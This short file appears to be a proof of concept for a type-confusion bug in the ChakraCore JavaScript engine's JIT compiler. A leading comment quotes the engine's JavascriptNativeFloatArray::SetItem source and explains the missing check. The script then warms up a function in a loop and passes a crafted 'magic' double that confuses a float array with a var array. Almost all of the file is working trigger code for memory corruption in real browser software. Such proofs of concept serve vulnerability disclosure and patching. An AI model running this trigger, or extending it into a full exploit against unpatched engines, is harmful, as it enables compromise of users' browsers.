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/*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
{
JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
return TRUE;
}
this->DirectSetItemAt<double>(index, dValue);
return TRUE;
}
As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/
function opt(arr, value) {
arr[1] = value;
arr[0] = 2.3023e-320;
}
function main() {
for (let i = 0; i < 0x10000; i++)
opt([1.1], 2.2);
let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!
print(arr);
}
main();
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